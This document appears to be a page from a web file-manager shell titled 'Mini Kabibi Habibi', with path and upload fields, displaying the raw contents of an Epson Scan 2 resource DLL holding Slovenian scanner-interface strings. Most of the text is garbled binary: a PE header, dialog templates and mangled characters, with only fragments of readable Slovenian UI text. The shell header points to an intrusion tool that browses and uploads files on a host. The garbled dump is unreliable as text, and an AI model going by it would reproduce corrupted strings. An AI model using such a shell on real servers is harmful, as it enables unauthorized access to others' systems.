Mini Kabibi Habibi

Current Path : C:/Program Files/epson/Epson Scan 2/Core/Resources/0424/
Upload File :
Current File : C:/Program Files/epson/Epson Scan 2/Core/Resources/0424/es2uires.dll

MZ����@���	�!�L�!This program cannot be run in DOS mode.

$��uލ���������5�������������5�����Rich���PEL]�`�!
���@ 4�.rdata�@@.rsrc4� �@@]�`wRSDSk�t�\6�@��P���G:\Jenkins\workspace\buildDriverWithParameter\Windows\Core\Release\Resources\0424\ES2UIRes.pdbH�����X���0�H�`�x������������	 �
8�P�h�
��������y��y��J,�-(�.@�0X�2p�3��4��5��7��8��9	�:	�;0	�=H	�>`	�?x	�@�	�A�	�B�	�D�	�O�	�P
�Q 
�b8
�cP
�eh
�f�
�g�
�h�
�i�
�j�
�x�
�y�z(�{@�|X�}p���������������������0��H��`��x�����������������
�� 
��8
��P
�.h
�/�
�0�
�1�
�2�
�3�
�?�
�A�B(�C@�MX�Np�O��P��R��x��x��H9�:�;0�<H�=`�>x�?��@��A��B��C��D�E �F8�GP�Hh�I��J��K��L��M��N��O�P(�Q@�RX�Sp�T��U��V��W��X��Y�Z�[0�\H�]`�^x�_��`��a��b��c��d�e �f8�gP�hh�i��k��l��������������(��@��X��p�������������0�H�`�x���/��y��y��y��y�y �y8�yP�yh�y��y��y�� y��!y��"y��#y�(�@�Xhx��������(8HXhx��������(8HXhx��������(8HXhx��������(8HXhx��������(8HXhx��������		(	8	H	X	h	x	�	�	�	�	�	�	�	�			(	8	H	X	h	x	�	�	�	�	�	�	�	�			(	8	H	X	h	x	�	�	�	�	�	�	�	�	 	 	( 	8 	H 	X 	h 	x 	� 	� 	� 	� � � � � !!(!8!H!X!h!x!�!�!�!�!�!�!�!�!""("8"H"X"h"x"�"	�"�B4��C���D4��E4��F4�,H4�`I4��J4��K4��L4�0N4�dO4��P4��Q4�S4�4T4�hU�� VD�dWX��W��Y^�Z��\���]@�^��a�b���c��he��Xi�hnX��pH�r���s��dt���tt�hvJ��w��4y���z���{|�H~��8���������8�(�`�h�ȃ@��� �L�l���P�H���H���������,�D�\���b����Ԡ��Ȥ������<��<�����@������D�@���ж��ȷ��\�D���J��\�H�`�����l�L�����p��t���l����X�\���@�d���n����������h���6�,�(�T��T���<�4�p���@�����������8�"�\�.�����x����X���"��Z�h�6���t��������@���,�����������f�$���"��~�H�	���������d��\���n�` ��R��!��x#��t%~��&T�H(���)���+��P-�l.��L0��2���:��\G�`O:��S@��U��xV��4Z��[���[���g�
�Hu�\���@�"�d���H��`��������*�����<���$�d�����d����������|���$�(�L�,�x�<���"�����������(��<��P��d��x�����������������������Z�( @���80p`���������������������������������������������������������������?��?��?��?�?� �p������������������������( ���������H�x�H���d���)�9����|����x0���!��?�( @����@@����@  @������������������������������������������?���?�����������������������������?����������������������������������������( @����@  @����@  @����������������������������������������������?�����������������������������?���������?����������������������������
( @����@ b�

�b @����������������������������������������������?�����������������������������?������������������������������������( @�������� �@�����@� �����������������������������������������������������������s���a��@��@���a���s��������������������������������������������( @���$BB$$D� ?��������������������������������������������������Ã�������������������������������������������������������������( @���0$(B$B"$! � @     ?�����������������������������������������������ǁ��Á�����������?����������������������������������������������������( @���?� �$DB$B$�����������������������������������������������������������������Ã����������������������������������������������
( @����@@@ @@@�AB0DHH�P�`H0����������������������������������������������������������?������������������������������������������������������������( @����0P
�	�@� H((H� @��	P
0����������������������������������������?�p�0���0�p��?�������������������������������������( @����@  @����@  @����@  @������������������?�����������������������������?���������?�����������������������������?����������������( @����@  ?��@�@@A� BBD"D"BBA� @@@��?�  @������������������?�����������������?���?��?�?�>|�<<�8�8�<<�>|�?�?�?��?�������������������?����������������( @������������������������������������������������p?�0�0�p?��������������������������������������������( @����������������������������?�����������������������������?���?�����������������������������?������������������������( @����������������������������?�������������������?���?��>|?�<<�<<�>|?�?��?���������������������?������������������������(
P��������������������������������������www������������������������(!���������������������������������������������������������wwww����������w�ww�����������x�ww��������������w�����������x�w������������w��������������wwx������������www��������������wwww��������������������Hπ�Epson Scan 2�MS Shell Dlg��H@*��MS Shell DlgP

q���textP
 lV���text��P~�W���P
2lZ���text��P~/�X���P
G
Y���textP
Zl[���text��P~W�]���P
kl\���text��P~h�^���P~�
_���textP~��
`���text��H̀�JMulti Page Edit�MS Shell DlgPA��H@4��MS Shell DlgP&p����textPn����text!P��4����P,s����textP�4z�msctls_trackbar32��P:!����PcOL����textP�OM����textPdnP���text!P�b�)Q���P~
�
���text��H@	"��MS Shell DlgP	O����text	P\�
m���text	P\�
n���textP	<OO���textP\3��msctls_trackbar32��P�9����P>OM����textP�OP����textP\l�
�
���text��H@5��MS Shell Dlg���ȀQ�text�MS Shell DlgP�����text@P'$���P,�)���textP')�k�����P'6+���P'I�
&���textPFY�
'���textP'm�
(���textPFR,���text!P�}7<t���PF�R����text � �P��*%���&P��
�msctls_updown32PJ��
s���P��
����textP�	���P��<���textP�<���text���Ȁ[�Dialog�MS Shell DlgPM��SysTabControl32@A�����P�	���P��<���textP�<���text���Ȁ	m�text�MS Shell Dlg
�P_h1SysListView32Pz</���+PHz<0���-P)z=,���textP��~2���textP�}3���text P�	���P��<���textP)�=���text���Ȁ	gtext�MS Shell DlgPP����!P]
�����PY�������P(Y�DSysTabControl32@	*W�
���text@6<�����P�	���P��<���textP$�<���text��HB'��MS Shell DlgPe���textPp�k	���@p�
�
���textP1e����text!Pp/�c����PCe���text!PpA�{
����P�?2����P?3���PS�
���P[����text!P�Y�R����Pm� ���!P�k4�����P�m_����dpiP�"���text!P�}�d����P��!���text!P���r���P�����!P���d����P��
���Pp��
���textP�y���!P��������P�y�
���text!P����
�����IB"'��MS Shell DlgPW���	PbX���	PbX���	Pb'X����	Pb9�����	PbKX����	Pb]X����#P�d�
���#P�&d����P�&d%���!P�Jd�����!P�\d�����@qW����@bn��msctls_trackbar32� �@m!����PqW���Pbn�msctls_trackbar32��Pm!���P�W���Pb��
msctls_trackbar32��P!���P�W���Pb��msctls_trackbar32��P�!����Pb�����Pb������P�����!P���i����P�����!P���K����P������text!P��������P�U���text!P����T������Ȁ3text��MS Shell DlgP>����text!PJ�8���P$>����text��PJ!�9���	PF�
B���text PD���� PD�����PYL4SysListView32	P��
C���textP�,����text��PJ��E��� P�	���P��<���textP��<���text���Ȁ+Utext�MS Shell DlgPU	���text��P`
�����P$U
���text��P`!�����P=	���P�@<���textP�A<
���text��H@	(��MS Shell DlgPq�
����textP)fR���text	Pq(w
����text	Pq9w
����text��P�7%T���&P7�msctls_updown32PcfS���text!Pqa�+����P|M�
���text��H@;��MS Shell DlgP-
����textP �e���text!P� �������H@:��MS Shell DlgP��2���textP�2���text��H@,��MS Shell DlgP
�p���text��P�=i���P��msctls_updown32P#����P
,Ij���text!P[*�C����P?M����text!Pp=�:�������ȀJDialog�MS Shell DlgP�5<����text�@"�
�msctls_progress32P
����P1�
���P1����P�(.SysAnimate32PA��HJ
5��MS Shell DlgKP����KP#����KP#���P8�������KP>����KPT����KPj�
���P�{���P1�;����P��7������IH���MS Shell Dlg�P$�WASysListView32P�	���P)�AG���Pm�A���P��A���P;���P<���P7:���P`=���Px>���P�@�����IH5n�MS Shell DlgP�YA���P�YA���PMF���P!YA����PeYAG�����HB@��MS Shell DlgP��U����P
l����!Pz������P
l����!Pz������P
*l����!Pz(�{����P
>.JSysTabControl32P
`l����!Pz^�����P
rl����!Pzp�~����P
�l����!Pz�������P
�	���P �����P��U�������Ȁ�JEPSON Scan2�MS Shell DlgP
8L���text��P�M���Pi5<���textP�5<���text���Ȁ�EPSON Scan2�MS Shell DlgP��<���textP��<���text�P�������H@@A�MS Shell DlgP{U���text!P��������H@
;��MS Shell DlgP�r���text!P�r?����P(+
o���textP<�a���text!P�:rE����PyPoc���textP�PD����Pg�b���text!P�er6����Px
����text��H@,��MS Shell DlgP:
����textP
�
���textP)}�
���text!P�)��
���PJ
�
���textPZ
���text��H@5��MS Shell DlgP'
����text��H���MS Shell Dlg���Ȁ5�Epson Scan 2�MS Shell Dlg P}7<Hu���P,!Gv�����Py5z���&P��msctls_updown32P,B0w�����P,R8{���&PdR|msctls_updown32P�BBy�����P�R<���&PR�msctls_updown32P,�Gx�����Py�5}���&P��~msctls_updown32P��<����P
�!����P�	���P��<���textP��<���text���Ȁ��-�MS Shell Dlg�P�W���P�L������P:����PZ2����P�/L������P,:����PZ/2����@/p�
���@�A�
�
���textPf2����+PLf2����-P�f2���textP�	���P�<���textPT�<���text���ȀK,�MS Shell DlgPB����text!P`������P'<��SysTabControl32P	�����H@5��MS Shell DlgP)�����staticP�)����staticP8�����staticP�8����staticPG�����staticP�G����static��H@%5��MS Shell DlgP)�����P�����staticP�l����staticP�����staticP�l����staticP+�����staticP�+l����staticP8�����staticP�8l����static@E��
���static@�El�
���static@R��
���static@�Rl�
���staticP_�����staticP�_l����staticPl�����staticP�ll����staticPy�R���staticP�ylS���staticP�))����P������staticP��)����staticP��@����P������staticP��l����staticP�))�
���P���
���staticP��)�
���staticP��@�
���P���
���staticP��l�
���staticP�))�
���P���
���staticP��)���staticP��@���P�����staticP��l���static��H@	5��MS Shell DlgP�����static��P�(�
��� P��
msctls_updown32P0?���staticPB|����static!P�@������PW|���static!P�U����P}{<������H@5��MS Shell DlgP�����staticP�o�������Ȁ�%�MS Shell DlgP�V�����P�6����PD:����PRD:����P�D:����PZ������PfL����!P`dh����P�������PO�E:����PvL����!P`th����Pa�2����P��2����P�j����P���CHueSliderCtrl� �P������� �P������P������P���msctls_trackbar32� �P������P������P���msctls_trackbar32� �P������P
��
����P	���P<���textPX<���text���Ȁ,-v�MS Shell DlgP 8����PV���!Ph�z����P%V���!Ph#a?����P�%2����PF �����PPV���	PhO`���	Ph]`���	Phk`����	Phy�����	Ph�`����	Ph�`����#P�\T\
���#P�jT\���P�jT
+���text!P��Ta����!P��TY����@�V����@h���msctls_trackbar32��@������P�V���Ph��msctls_trackbar32��P�����P�V���Ph��
msctls_trackbar32��P�����P�V���Ph��msctls_trackbar32��P������Ph�����Ph������P|���!P��H����P-V����!Ph,�C����P?V����!Ph=�F����PPV����!PhN�C����P`	���P�a<���textP�a<���cancel���Ȁ-�Dialog�MS Shell DlgP��<���textP�
�������Pw&>a
�����P8<`
SysListView32P~����Copyright (C) 2015P��<���ISIS InfoPA���ȀA*text�MS Shell DlgP3

SysTabControl32P	���P�<.
���resetPA��HH,��MS Shell DlgP
�
���colorP!0
���P!�
msctls_trackbar32P�!/
�����P� 
���P=1
���P!;�
msctls_trackbar32P�=2
�����P�<
���PW4
���P!U�
msctls_trackbar32P�W3
�����P�U
���P|�
���grayP�5
���P!��
msctls_trackbar32P��6
�����P��
���P�

���P2,�
���P%�
���P�,�
���P�2,�
���PK%�
���P�K,�
�����HH,�MS Shell DlgP


���textPh�L%
���P"K
���text	P3E
 
���RGB	PBE
!
���R	PQE
"
���G	PaE
#
���BPhi�
CMultiSliderCtrlPxK$
���text��Phu

���P�v
'
�����P�u
���P�v
(
�����P�u
���Pv
���Ph��
CMultiSliderCtrlP�K}
���text��Ph�
�����P��
���P
�Q&
���textP	�a)
���text!Po��
���P	�a*
���text!Po��
�����HH	,��MS Shell DlgP
�+
���textP">,
���textPn��

CToneCurveCtrl	P3O

���RGB	PBO
	
���R	PQO


���G	PaO

���BP�d-
���text!Pm��
������Ȁ-Gtext�MS Shell DlgP�2<���textP�2<���textP-	���Ps8
���text!P��7
������ȀQtext�MS Shell DlgP�9
���text��P�.:
���P�;
msctls_updown32P�<
���@,'�
�
���textP7	���P�<<���textP�<<���text��HB'��MS Shell DlgP]B
���text!Ph�=
���P ]C
���text!Ph�>
���P/�
���P6mD
���text!Px4�?
���PHmE
���text!PxF<@
���P�HhF
���dpiPZmG
���text!PxX�A
���P��~H
���textP��~I
���text��HB'��MS Shell DlgP
CQ
���textPe�R
msctls_trackbar32��PU
���PT�
���P��
���P
 CV
���textPe�S
msctls_trackbar32��P_
���PT�
���P��
���P
0CW
���textPe.�T
msctls_trackbar32��P-c
���PT/�
���P�.�
���P�?kb
���textP
XgX
���text!PxV�J
���P
jgY
���text!Pxh�K
���P
|gZ
���text!Pxz�L
���P
�g[
���text!Px��M
���P
�g\
���text!Px��N
���P
�g]
���text!Px��O
���P
�g^
���Digital ICE Technology!Px��P
���PQ�
������ȀA�Dialog�MS Shell DlgPkd
���text!Pw
�e
���@,3jf
���P�	���P��<���textP��<���textP"3���������H@"i�MS Shell DlgP
g
���textP${h
���text!P�"Pi
���P:{j
���textP�8Ok
msctls_trackbar32P�7<l
���textPmH=m
���textP�HCn
���text��H@e�MS Shell DlgP]o
���text!Ph
�p
���P$]q
���text!Ph"�r
���P7

s
���text���Ȁ	5�Dialog�MS Shell DlgPjt
���text!P{�u
���P*jv
���text!P{(�w
���P=jx
���text!P{;�y
���P�	���P��<���textP��<���text���Ȁ3UDialog�MS Shell DlgPiz
���textPt�{
msctls_trackbar32��P	#|
���P�@<���textP�@<���textP;	�����HJ.JV�MS Shell DlgPX�
~
���KP����KP#�
���P7�������KP<����KP<���PP�������KPV����KPl����KP��
���P��������P��
���KP��
���KP��
���P�
���P
��
���@��6�
�����P(�
���P=�
���X��PG(�
���Pv�
���P($)�
���PT$�
���Pv$�
���P���
�
���@���6�
�����P�(�
���P�
�
���X��P�(�
���P�
���P�)�����P�(���P�
msctls_updown32P	���%P�$)�
���P�$�
���P$�
���P�5�
�
���PPo���P�Q-���P�Q�
���RP�Q�
���255P�Q�
���GP�Q�
���255P
Q�
���BPQ�
���255PA��HJ5#�MS Shell Dlg�P*"��
SysListView32PX�
~
���P��
�
���P��7�
msctls_trackbar32P��
�
���KP	����KP$�
���KP:�
���KPP�
���Pe�������Pk�
���KP��
���KP��
���P�
���P���
���RP���
���255P���
���GP���
���255P��
���BP��
���255P�v���P~�3����� H@�MS Shell Dlg P�������Ȁg�Dialog�MS Shell DlgPZ
&���P��
���text!P���
���@3��
���text��@�3$�
���$@�3�
msctls_updown32@�3�
���text@3	�
���-��@3#�
���$@43�
msctls_updown32@B3�
���textPMZ
'���@\��
���text��@�\$�
���&@�\�
msctls_updown32@�\�
���textPwZ
(���P�Z
)���P�	���P��<���textP$�<���textP�>0����P�>)/������Ȁ7�Dialog�MS Shell Dlg���ʀ/~text�MS Shell DlgP�i<���textP5�E�
���textP0-�
������ȀmGDialog�MS Shell DlgP�2<���textP*2<���textP/	���P��
���text!P
`�
�����H@5��MS Shell DlgP,.�
���textP��
���textP�o�
msctls_trackbar32��P
�
���P%��
���textP�#o�
msctls_trackbar32��P
"�
���P:,.�
���textPE��
���text��P�B(�
��� P�B�
msctls_updown32P�E,�
���textPX��
���text��P�U(�
��� P�U�
msctls_updown32P�X,�
���textPp,�
���textP��
���textP�}o�
msctls_trackbar32��P
|�
���P�F����textP��F����text��H@5��MS Shell DlgPdn�
���staticPd;n�
���static���Ȁ-\Dialog�MS Shell DlgP
g�
����0�0�0�0�0�0Ps��
msctls_trackbar32��P
�
���PB	���P�G<���P�G;����P#������ȀQ�Dialog�MS Shell DlgP�
���P5Y�
���textP�o<�
���textPo<�
���text���Ȁ���MS Shell DlgP
���P)��*����0�0�0�0�0�0P}���P}����P�<���textPe�<���textP��<���text P,��Y������Ȁ
E��MS Shell DlgP_ ���textPj�msctls_trackbar32� �P$"���P+_!���textPj+�msctls_trackbar32� �P+$q���PB_$���textPjB�msctls_trackbar32� �PB$#���Pj\�
1���textPp	���P�u2���OKPu2����0�0�0�0�0PA�����5iDialog�MS Shell DlgP'-���textPD!�������P{#@'.SysAnimate32PA��H@5��MS Shell DlgP�4���static!P�o5���P}:<6�����H@5��MS Shell DlgP'
7���text�����G
Watermark�MS Shell DlgP��2���textP�2���textP�&9���text��P��:���P�*�U;���textP�<<���textP�8y=msctls_trackbar32PL?���textP�L>���textP�_@���textP�[yAmsctls_trackbar32PoC���textP�oB���textP��1D���textP��tEmsctls_trackbar32P�G���textP��F���textP��1H���textP��EImsctls_trackbar32P��Q���textP��P���textP �#K���text� �P��J���P��1L���textP��tMmsctls_trackbar32P�O���textP��N���text@��8���Watermark PreviewPA���Ȁ�Ktext�MS Shell DlgPm$X���textP32���textPL32���textP1	���PyV���text!P��W������Ȁ-Gtext�MS Shell DlgP�2<���textP�2<���textP-	���P�S���text!P��T����Ȁ	�FNewMS Shell DlgP{�����&New �P}1d���P�(���OKP�(���CancelP�+(F��&Help�Ȁ	�FMS Shell DlgEpson Scan 2
O programu %@Skrij %@Skrij drugePrika~i vseIzhod %@Opt. bralnik
Nastavitve...Nastavitve za opti
ni bralnikPrivzeta nastavitev
Ni izbrano Shranite trenutne nastavitve ...Izbriaite nastavitve ...Na
inNa
in prikaza dokumentaNa
in prikaza fotografijeGlavne nastavitve
Vir dokumentaSamodejno zaznaj"Steklena ploa
a opti
nega bralnikaSamodejni podajalnik dokumentovNosilna folijaOpti
no branje straniEnostransko
ObojestranskoVelikost dokumentaRazglednicaRazglednica (le~e
e)Plasti
na karticaPlasti
na kartica (le~e
e)A8A8 (le~e
e)A6A6 (le~e
e)A5A5 (le~e
e)B5 [JIS]B5 [JIS] (le~e
e)LetterLetter (le~e
e)A4A4 (le~e
e)LegalLegal (le~e
e)11 x 17 palcev11 x 17 palcev (le~e
e)B4 [JIS]B4 [JIS] (le~e
e)A3A3 (le~e
e)Najve
ja velikostSamodejno zaznaj
Po meri...Samod. zazn. (dolg pap.)
Nastavitve...Velikost oznakeVrsta slikeBarvaSivine	rno-belo	Samodejno
Lo
ljivostpik na palecZasukaj0�90�180�270�	SamodejnoZlepi slikeizklopljenoZgoraj in spodajPA
Levo in desnoIzhod dveh slikizklopljeno
Vklopljeno
Nastavitve...Dod. ali uredi po opt. bran.BrezDodaj stranDodaj ali uredi stran
Nastavitve...
Rob vezaveLevoZgorajOpt. preberi prevle
. kartico#Nastavitve strani za opti
no branje(Nastavit. zaznavanja dveh podanih listovPANastavitve velikosti dokumentaNastavitve vira dokumenta
Nastavitve...Napredne nastavitveOstrenje robovOdstran. Filtriranja
Mo~nost slikeBrezIzboljaanje besedilaSamodejna segmentacija obmo
ja
StandardnoVisoka	Izlo
itevRde
aZelenaModraPARoza	Vijoli
naRumenaOran~na
Razen 
rne
Po meri...Izboljaanje barvRde
aZelenaModraRoza	Vijoli
naRumenaOran~na
Razen 
rne
Po meri...SvetlostKontrastGamaPragPresko
i prazne straniizklopljeno
Zelo nizkaNizkaSrednjaVisokaZapolnitev robovBrezBelarna
Nastavitve...Popravi ukrivljenost dokumentaizklopljenoUkrivljenost papirjaUkrivljenost vsebineUkrivljenost papirja in vsebineOdstrani luknjeizklopljeno
Vklopljeno
Levo in desnoZgoraj in spodaj
Vsi robovi
Vklopljeno
Nastavitve..."Nastavitve preskoka praznih straniStopnja zaznavanjaOblika zapisa slikeBITMAPPAJPEGPNGTIFF
Multi-TIFFPDFPDF, ki omogo
a preiskovanjeMo~nosti...Ime datoteke
Nastavitve...Mapa
Izberi ...	Predogled
Opt. preb.
KonfiguracijaPomo
Velikost dokumentaPANeimenovanoKopiraj`irinaDol~inammpalcevSamodejno zaznajV reduPrekli
iZaznaj dol~ino papirjaRaven zapolnitve robovZgorajLevoDesnoSpodajEnotePAmmpalcevNastavitve opti
nega bralnikaImeModelPriklju
ek/NaslovOmogo
i urejanjeNadzor dostopaDodaj mre~ni opti
ni bralnikModelImeOmre~jePoia
i omre~jeNaslovVnesite naslov0NaslovDodajNadzor dostopaImeModelPriklju
ek/NaslovUporabniako imeGesloShrani trenutne nastavitveImeShraniIzbriai nastavitveIzbriai"Mo~nosti formata slikovnih datotek	Kodiranje
StandardnoPAProgresivnoKakovost slikeVisoko stiskanjeVisoka kakovostNi razpolo~ljivih mo~nosti	Stiskanje
Barvno/sivineBrezLZWJPEG (7)Kakovost slikeVisoko stiskanjeVisoka kakovost	rno-beloBrezCCITT Group4PASploanoSploanoSploana datoteka PDF/A`tevilka straniUstvari dat. z vsemi stranmiIzberite at. za ustv. dat.Raven stiskanja
Barvno/sivineStandardno stiskanjeVisoko stiskanjeBesediloJezik besedila
japona
ina
anglea
inafrancoa
inanema
ina
italijana
ina	apana
ina
portugala
inanizozema
inarua
inaukrajina
inaPoenostavljena kitaja
inaTradicionalna kitaja
ina
koreja
ina	polja
ina
ea
inatura
inamad~ara
ina
romuna
ina	aveda
ina
norvea
inaPAdana
ina
slovaa
inafina
inagra
inaVarnostVarnostNastav. geslo za odpiranje dat.GesloPotrdite gesloNastav. geslo za zaa
ito lastn.GesloPotrdite gesloNe dovoli urejanjaNe dovoli tiskanjaNastavitev imena datotekePredogled imena datotekeIme datotekePredponaDodaj datumDodaj uro, minute in sekundeUporabi atevec datotek`tevilo znakov23456Za
etna atevilkaNe posodobite za
etne atevilke*Prepiai morebitne datoteke z enakim imenomMesto1Izberite mapo, v katero ~elite shraniti datoteko.Izberi
KonfiguracijaSploanoEnotemmpalcev%Uporabi zadnje uporabljene nastavitveDelovno obmo
jeProstor na disku#asovna omejitev povezave (sekunde)306090150300	PredogledPAUporabi na
in kakovostiObmo
je vzor
enja kapalke1 x 1 slikovna pika3 x 3 slikovnih pik5 x 5 slikovnih pik
Opt. preb.Prenesi podatke po stiskanjuZmanjaevanje razlik v barvah
Tihi na
inNastavitev tiskalnika
VklopljenoIzklopljeno%Obre~i robove za velikost �Samodejno�Zaznaj dva podana listaIzklopljeno
VklopljenoUltrazvo
ni senzorDol~inaUltrazvo
ni senzor in dol~ina
Nastavitve...Debelina papirja
StandardnoTanekPodro
je zaznavanjaRazlika v dol~inah strani6Na
in samodejnega podajanja, 
asovna omejitev (minute)Brez135Shrani datoteko'Po opti
nem branju odpri mapo s slikamiPAZapriPove
avaPolnoIzbriae izbrano oznakoKopira izbrano oznako
Izberi vseDodaj stran�Opti
no branje je kon
ano.



Kliknite [Shrani] za shranjevanje vaaih opti
no prebranih slik.

Kliknite [Prekli
i], da zavr~ete opti
no prebrane slike.

Kliknite [Dodaj] za opti
no branje dodatnih slik.GKliknite [Uredi] za urejanje opti
no prebranih slik pred shranjevanjem.DodajPrekli
iShraniUrediStran za urejanjeIzbere vse straniIzbere sode straniPAIzbere lihe strani:Zavrti izbrane strani za 90 stopinj v smeri urnega kazalcaDZavrti izbrane strani za 90 stopinj v nasprotni smeri urnega kazalcaIzbriaiNa
in samodejnega podajanjaOpti
ni bralnik je v na
inu samodejnega podajanja. Opti
no branje se za
ne, ko izvirnik nalo~ite v samodejni podajalnik dokumentov (SPD). Nalo~ite izvirnike po prilagoditvi vodil robov. Na
in samodejnega podajanja se kon
a s klikom na gumb [Dokon
aj], ali ko pride do 
asovne omejitve.Dokon
ajOpti
no branje je preklicano.

e ~elite nadaljevati opti
no branje, odstranite in znova nalo~ite morebitne preostale izvirnike v SPD-ju ali pa nalo~ite nove izvirnike v SPD.

Na
in samodejnega podajanja se kon
a, ko kliknete gumb [Dokon
aj] ali 
e dalj 
asa na nalo~ite izvirnikov.dZaznani sta bili dve podani strani. V dokumentaciji poia
ite navodila za odstranjevanje izvirnikov.

Kliknite [Nadaljuj], 
e ~elite nadaljevati opti
no branje.

Kliknite [Shrani in zapusti], 
e ~elite shraniti opti
no prebrane strani in se vrniti v glavni meni.

Kliknite [Zaustavitev], 
e ~elite ustaviti opti
no branje in zavre
i opti
no prebrane strani.NadaljujShrani in zapustiZaustavitevNapredekObdelavaObdelava strani: %d-Ustvarjanje predogleda opti
no prebrane slikePAOpti
no branje.Opti
no branje strani: %d
Preostali 
as%d h%d minmanj kot minuta.Pripravljanje sli
ic.Poteka ostrenje.	Razli
icaEpson Scan 2 UtilityInformacijeSerijska atevilka#Razli
ica vdelane programske opreme
Prva povezava
Ni informacij`tevec`tevec opti
nega branja"Steklena ploa
a opti
nega bralnikaSamodejni podajalnik dokumentovEnostransko
ObojestranskoZagozditev papirjaPodajanje ve
 listov papirjaKomplet valjev`tevilo opti
no prebranih kopij}ivljenjski cikel	PonastaviVar
evanje z energijoasovnik spanja (minute)izklopljenoIzmeni
ni tok ali napajalnikizklopljeno	NastaviteVzdr~evanjeia
enjeia
enje...	UmerjanjeUmerjanje...PrilagoditveSvetlostZadnja stran	rno-belo Za
etni polo~aj opti
nega branjaSprednja stranZadnja stranRazairitev/kr
enjeSmer podajanja papirja	Ponastavi	NastaviteDrugo Ponastavite program Epson Scan 2	PonastaviPobiralni valj`tevilo opti
no prebranih kopij}ivljenjski cikel	PonastaviLo
itvena blazinica`tevilo opti
no prebranih kopij}ivljenjski cikel	PonastaviRe~a za karticoDaNeNosilna folijaPANastavitev izlo
itve barvNastavitev izboljaanja barvIme nastavitveDodajIzbriaiKopirajPrilagoditevZadevaDolo
ena barvaDrugoNastavitev barvDodajIzbriaiObmo
je barvOb
utljivostIntenzivnostPAPoka~i sliko za predogledNeimenovano
Obmo
je %dIme nastavitveDodajIzbriaiKopirajPrilagoditevZadevaDolo
ena barvaDrugoNastavitev barvDodajIzbriaiObmo
je barvOb
utljivostPAIntenzivnostPoka~i sliko za predogledNeimenovano
Obmo
je %dNastavitve za izhod 2RevijaasopisFotografijaDokumentVizitkaRa
unBarvni neg. film s 24 okvirjiBarvni neg. film z 48 okvirjiBarvni poz. film s 15 okvirjiBarvni poz. film z 30 okvirjiGlavne nastavitve
Vir dokumenta"Steklena ploa
a opti
nega bralnikaNaprava za prosojniceNaprava za prosojnice(Napr. za prosoj. (z vodil. obmo
. filma)Vrsta dokumentaOdsevniBarvni pozitivni filmBarvni negativni filmrno-beli negativni filmVrsta slikeBarvaSivine24-bitna barva8-bitne sivine48-bitna barvaPA16-bitne sivine
Lo
ljivostpik na palecUpravljanje barv�...Upravljanje barvUpravljanje barvNadzor barvICMBrez Neprekinjena samodejna izravnavaPrika~i gamo2.21.8Raven samodejne izravnaveNizkaVisokaPA	PonastaviVir (opti
ni bralnik)Standard EPSONCiljMonitor RGBsRGB	Adobe RGB	Apple RGBColorMatch RGB*Prika~i predogled s poravnavo na monitorjuNi razpolo~ljivih mo~nostiV reduMo~nosti sli
ice�...Mo~nosti sli
ice�Velik. obrezanega obmo
jaVelikaPASrednjaMajhnaSamod. postav. fotografije
VklopljenoizklopljenoFilm srednjega formata6 x 66 x 76 x 4.56 x 86 x 9V reduKakovost opti
nega branja
StandardnoVisokaNapredne nastavitvePASvetlostKontrast
Nasi
enostOstrenje robovizklopljenoNizkaSrednjaVisokaObnovitev barvizklopljeno
VklopljenoPopr. osvet. v ozadjuizklopljenoNizkaSrednjaVisokaOdstran. FiltriranjaizklopljenoNizkaSrednjaVisokaOdstranjevanje prahuizklopljenoNizkaSrednjaVisokaZmanjaanje zrnatostiizklopljeno
VklopljenoDIGITAL ICE Technologyizklopljeno
StandardnoVisoka%DIGITAL ICE Lite Technology - hitrost!DIGITAL ICE Technology - kakovostNatan
. prilagoditve...Natan
. prilagoditve	PonastaviPrilagoditev slikeRavnovesje barvCijanRde
a`krlatnaZelenaRumenaModraIntenzivnost ravnovesja sivePopravek tonovPopravek tonovKanalVseRde
aZelenaModraPrednastavitevLinearno
Osvetlitev
PotemnitevEnakomeren kontrastVisok kontrastOdprte senceTrenutna nastavitev	SamodejnoPrilagoditev histograma	HistogramKanalVseRde
aZelenaModraVnosIzhodTonska krivulja
Krivulja senc	IzboljaajObi
ajnoMehkoKrivulja odtenk.	IzboljaajObi
ajnoPAMehkoPoka~i teksturoIzboljaanje vodoravnih pasovVdelaj profil ICCVdelaj profil ICCObi
ajnoSli
icaZasukaj
Zrcaljenje
Izberi vseSamodejna izravnavaPrilagoditev ostrenjaSamodejno ostrenjeRo
no ostrenjeVelikost sli
iceVelik. vhodaVhodna slika
Lo
ljivost
Izhodna slikaVel. izhoda
Lo
ljivostZrcaljeni izhodPrilagoditev ostrenjaMesto ostrenjaNapajanje z baterijo ali USBizklopljenoasovnik za izklop (minute)8K16K16K (Le~e
e)Odstrani ozadje
StandardnoVisoka�Prilagodite prag zaznavanja prazne strani. Pri viajih ravneh lahko presko
ite strani s svetlimi barvami ali natisnjenimi oznakami. Preatej prazne strani_Na
in samodejnega podajanja omogo
a samodejno opti
no branje izvirnikov, ki jih nalo~ite v ADF.fMed opti
nim branjem lahko zlepite slike z obeh strani izvirnika. Izberite postavitev zlepljenih slik.,Izberite mo~nost za popravljanje poaevnosti.gPo opti
nem branju lahko prebrane strani zavrtite, premaknete ali izbriaete ali dodate druge izvirnike.4Izpustite lahko morebitne prazne strani v izvirniku.\To mo~nost izberite za prikaz sporo
ila o napaki, 
e je podanih ve
 listov izvirnika hkrati.8,5 x 13 palcevOpti
no prebrana slikaZaa
ita papirjajZmanjaa tveganje za poakodbe originala, saj se opti
no branje ustavi, 
e je original nepravilno vstavljen.:Med opti
nim branjem lahko z izvirnikov odstranite ozadje.vZamegljene 
rke na izvirniku lahko naredite jasne in ostre. Prav tako lahko zmanjaate odmik ali neenakomernost ozadja.hPri 
rno-belem opti
nem branju dokumenta, ki vsebuje slike, lahko 
rke in slike naredite jasne in ostre.�Z opti
no prebrane slike lahko odstranite izbrano barvo in nato sliko shranite v odtenkih sive ali kot 
rno-belo sliko. Med opti
nim branjem lahko na primer odstranite oznake ali opombe, ki ste jih z barvnim pisalom napisali na robove lista.�Na opti
no prebrani sliki lahko poudarite izbrano barvo in nato sliko shranite v odtenkih sive ali kot 
rno-belo sliko. Tako lahko na primer poudarite 
rke ali 
rte v svetlih barvah.;e ~elite odstraniti barvo v ozadju, izberite visoko raven.+Izberite ~eleno raven izboljaanja besedila.AIzberite barvo, ki jo ~elite odstraniti z opti
no prebrane slike.AIzberite barvo, ki jo ~elite poudariti na opti
no prebrani sliki.2Prilagodite lahko svetlost opti
no prebrane slike.�e ~elite pove
ati razliko med svetlimi in temnimi obmo
ji na sliki, pove
ajte kontrast. e ~elite zmanjaati razliko med svetlimi in temnimi obmo
